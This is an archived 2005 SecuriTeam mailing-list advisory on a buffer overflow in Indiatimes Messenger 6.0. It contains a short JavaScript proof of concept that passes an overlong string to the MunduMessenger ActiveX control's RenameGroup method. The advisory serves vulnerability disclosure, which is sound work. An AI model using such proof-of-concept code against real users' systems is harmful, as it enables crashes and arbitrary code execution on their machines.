

# [NT] Indiatimes Messenger Buffer Overflow (Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0002.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 09/01/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 1 Sep 2005 18:35:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Indiatimes Messenger Buffer Overflow (Exploit)

---

## SUMMARY

" <<http://messenger.indiatimes.com/>> Indiatimes Messenger is a multi client Instant Messenger."

Lack of proper length validation in Indiatimes Messenger allows attackers to cause a buffer overflow which in turn can be used to cause the program to execute arbitrary code.

## DETAILS

Vulnerable Systems:

\* Indiatimes Messenger version 6.0

Exploit:

```
< script>
```

```
var obj1 = new ActiveXObject("MMClient.MunduMessenger.1");
```

```
var buf = "";
```

```
for(i=0; i<1000; i++)
```

```
{
```

## Securiteam: [NT] Indiatimes Messenger Buffer Overflow (Exploit)

```
buf += "A";  
}  
  
while(obj1.GetServerStatus() != "Logged In");//wait till login  
  
obj1.RenameGroup("Friends", buf, 5);  
< /script>
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:viper31337@yahoo.co.in>  
ViPeR .

The original article can be found at:

<<http://www.infogreg.com/security/im/indiatimes-messenger-6-buffer-overflow.html>>  
<http://www.infogreg.com/security/im/indiatimes-messenger-6-buffer-overflow.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.